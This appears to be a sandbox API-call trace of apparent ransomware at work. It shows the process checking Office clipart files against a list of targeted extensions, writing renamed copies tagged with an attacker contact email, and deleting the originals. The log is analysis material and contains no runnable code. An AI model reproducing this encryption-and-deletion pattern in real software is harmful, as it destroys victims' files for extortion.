	[0171.872] ReadFile (in: hFile=0x550, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0xbf4, lpOverlapped=0x0) returned 1
	[0171.874] WriteFile (in: hFile=0x570, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xc00, lpOverlapped=0x0) returned 1
	[0171.875] ReadFile (in: hFile=0x550, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.875] WriteFile (in: hFile=0x570, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.875] SetEndOfFile (hFile=0x570) returned 1
	[0171.875] CloseHandle (hObject=0x570) returned 1
	[0171.875] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.875] SetEndOfFile (hFile=0x550) returned 1
	[0171.878] CloseHandle (hObject=0x550) returned 1
	[0171.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0171.878] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf")) returned 1
	[0171.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0171.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0171.879] lstrlenW (lpString=".doc") returned 4
	[0171.879] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.879] lstrlenW (lpString=".docx") returned 5
	[0171.879] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0171.879] lstrlenW (lpString=".pdf") returned 4
	[0171.879] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.879] lstrlenW (lpString=".xls") returned 4
	[0171.879] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.879] lstrlenW (lpString=".xlsx") returned 5
	[0171.879] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0171.879] lstrlenW (lpString=".ppt") returned 4
	[0171.879] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0171.879] lstrlenW (lpString=".zip") returned 4
	[0171.879] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.879] lstrlenW (lpString=".rar") returned 4
	[0171.880] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.880] lstrlenW (lpString=".bz2") returned 4
	[0171.880] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.880] lstrlenW (lpString=".7z") returned 3
	[0171.880] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0171.880] lstrlenW (lpString=".dbf") returned 4
	[0171.880] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0171.880] lstrlenW (lpString=".1cd") returned 4
	[0171.880] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0171.880] lstrlenW (lpString=".jpg") returned 4
	[0171.880] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0171.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0171.880] lstrlenW (lpString=".doc") returned 4
	[0171.880] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.880] lstrlenW (lpString=".docx") returned 5
	[0171.880] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0171.880] lstrlenW (lpString=".pdf") returned 4
	[0171.880] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.880] lstrlenW (lpString=".xls") returned 4
	[0171.880] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.880] lstrlenW (lpString=".xlsx") returned 5
	[0171.880] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0171.880] lstrlenW (lpString=".ppt") returned 4
	[0171.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0171.881] lstrlenW (lpString=".zip") returned 4
	[0171.881] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.881] lstrlenW (lpString=".rar") returned 4
	[0171.881] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.881] lstrlenW (lpString=".bz2") returned 4
	[0171.881] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.881] lstrlenW (lpString=".7z") returned 3
	[0171.881] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0171.881] lstrlenW (lpString=".dbf") returned 4
	[0171.881] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0171.881] lstrlenW (lpString=".1cd") returned 4
	[0171.881] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0171.881] lstrlenW (lpString=".jpg") returned 4
	[0171.881] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.881] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0171.881] lstrlenW (lpString="J0107734.WMF") returned 12
	[0171.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0171.882] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=3140) returned 1
	[0171.882] CloseHandle (hObject=0x550) returned 1
	[0171.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf")) returned 0x220
	[0171.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0171.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0171.883] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.883] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0171.884] GetLastError () returned 0x0
	[0171.884] ReadFile (in: hFile=0x550, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0xc44, lpOverlapped=0x0) returned 1
	[0171.887] WriteFile (in: hFile=0x570, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xc50, lpOverlapped=0x0) returned 1
	[0171.888] ReadFile (in: hFile=0x550, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.888] WriteFile (in: hFile=0x570, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.888] SetEndOfFile (hFile=0x570) returned 1
	[0171.888] CloseHandle (hObject=0x570) returned 1
	[0171.888] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.888] SetEndOfFile (hFile=0x550) returned 1
	[0171.891] CloseHandle (hObject=0x550) returned 1
	[0171.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0172.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf")) returned 1
	[0172.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0172.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0172.208] lstrlenW (lpString=".doc") returned 4
	[0172.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.208] lstrlenW (lpString=".docx") returned 5
	[0172.208] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0172.208] lstrlenW (lpString=".pdf") returned 4
	[0172.208] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.208] lstrlenW (lpString=".xls") returned 4
	[0172.208] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.208] lstrlenW (lpString=".xlsx") returned 5
	[0172.208] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0172.208] lstrlenW (lpString=".ppt") returned 4
	[0172.208] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0172.208] lstrlenW (lpString=".zip") returned 4
	[0172.208] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.208] lstrlenW (lpString=".rar") returned 4
	[0172.208] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.208] lstrlenW (lpString=".bz2") returned 4
	[0172.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.208] lstrlenW (lpString=".7z") returned 3
	[0172.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0172.209] lstrlenW (lpString=".dbf") returned 4
	[0172.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0172.209] lstrlenW (lpString=".1cd") returned 4
	[0172.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0172.209] lstrlenW (lpString=".jpg") returned 4
	[0172.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0172.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0172.209] lstrlenW (lpString=".doc") returned 4
	[0172.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.209] lstrlenW (lpString=".docx") returned 5
	[0172.209] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0172.209] lstrlenW (lpString=".pdf") returned 4
	[0172.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.209] lstrlenW (lpString=".xls") returned 4
	[0172.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.209] lstrlenW (lpString=".xlsx") returned 5
	[0172.209] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0172.209] lstrlenW (lpString=".ppt") returned 4
	[0172.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0172.209] lstrlenW (lpString=".zip") returned 4
	[0172.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.210] lstrlenW (lpString=".rar") returned 4
	[0172.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.210] lstrlenW (lpString=".bz2") returned 4
	[0172.210] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.210] lstrlenW (lpString=".7z") returned 3
	[0172.210] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0172.210] lstrlenW (lpString=".dbf") returned 4
	[0172.210] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0172.210] lstrlenW (lpString=".1cd") returned 4
	[0172.210] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0172.210] lstrlenW (lpString=".jpg") returned 4
	[0172.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.210] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0172.210] lstrlenW (lpString="J0107748.WMF") returned 12
	[0172.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0172.212] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=8224) returned 1
	[0172.212] CloseHandle (hObject=0x530) returned 1
	[0172.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf")) returned 0x220
	[0172.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0172.213] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.213] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0172.214] GetLastError () returned 0x0
	[0172.214] ReadFile (in: hFile=0x530, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x2020, lpOverlapped=0x0) returned 1
	[0172.217] WriteFile (in: hFile=0x45c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x2030, lpOverlapped=0x0) returned 1
	[0172.219] ReadFile (in: hFile=0x530, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.219] WriteFile (in: hFile=0x45c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.219] SetEndOfFile (hFile=0x45c) returned 1
	[0172.219] CloseHandle (hObject=0x45c) returned 1
	[0172.219] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.219] SetEndOfFile (hFile=0x530) returned 1
	[0172.222] CloseHandle (hObject=0x530) returned 1
	[0172.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0172.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf")) returned 1
	[0172.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0172.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0172.224] lstrlenW (lpString=".doc") returned 4
	[0172.224] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.224] lstrlenW (lpString=".docx") returned 5
	[0172.224] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0172.224] lstrlenW (lpString=".pdf") returned 4
	[0172.224] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.224] lstrlenW (lpString=".xls") returned 4
	[0172.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.224] lstrlenW (lpString=".xlsx") returned 5
	[0172.224] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0172.224] lstrlenW (lpString=".ppt") returned 4
	[0172.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0172.224] lstrlenW (lpString=".zip") returned 4
	[0172.224] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.224] lstrlenW (lpString=".rar") returned 4
	[0172.224] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.224] lstrlenW (lpString=".bz2") returned 4
	[0172.224] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.224] lstrlenW (lpString=".7z") returned 3
	[0172.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0172.224] lstrlenW (lpString=".dbf") returned 4
	[0172.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0172.224] lstrlenW (lpString=".1cd") returned 4
	[0172.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0172.225] lstrlenW (lpString=".jpg") returned 4
	[0172.225] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0172.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0172.225] lstrlenW (lpString=".doc") returned 4
	[0172.225] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.225] lstrlenW (lpString=".docx") returned 5
	[0172.225] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0172.225] lstrlenW (lpString=".pdf") returned 4
	[0172.225] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.225] lstrlenW (lpString=".xls") returned 4
	[0172.225] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.225] lstrlenW (lpString=".xlsx") returned 5
	[0172.225] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0172.225] lstrlenW (lpString=".ppt") returned 4
	[0172.225] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0172.225] lstrlenW (lpString=".zip") returned 4
	[0172.225] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.225] lstrlenW (lpString=".rar") returned 4
	[0172.225] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.226] lstrlenW (lpString=".bz2") returned 4
	[0172.226] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.226] lstrlenW (lpString=".7z") returned 3
	[0172.226] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0172.226] lstrlenW (lpString=".dbf") returned 4
	[0172.226] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0172.226] lstrlenW (lpString=".1cd") returned 4
	[0172.226] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0172.226] lstrlenW (lpString=".jpg") returned 4
	[0172.226] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.226] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0172.226] lstrlenW (lpString="J0107750.WMF") returned 12
	[0172.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0172.228] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=4716) returned 1
	[0172.228] CloseHandle (hObject=0x530) returned 1
	[0172.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf")) returned 0x220
	[0172.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0172.228] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.228] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0172.229] GetLastError () returned 0x0
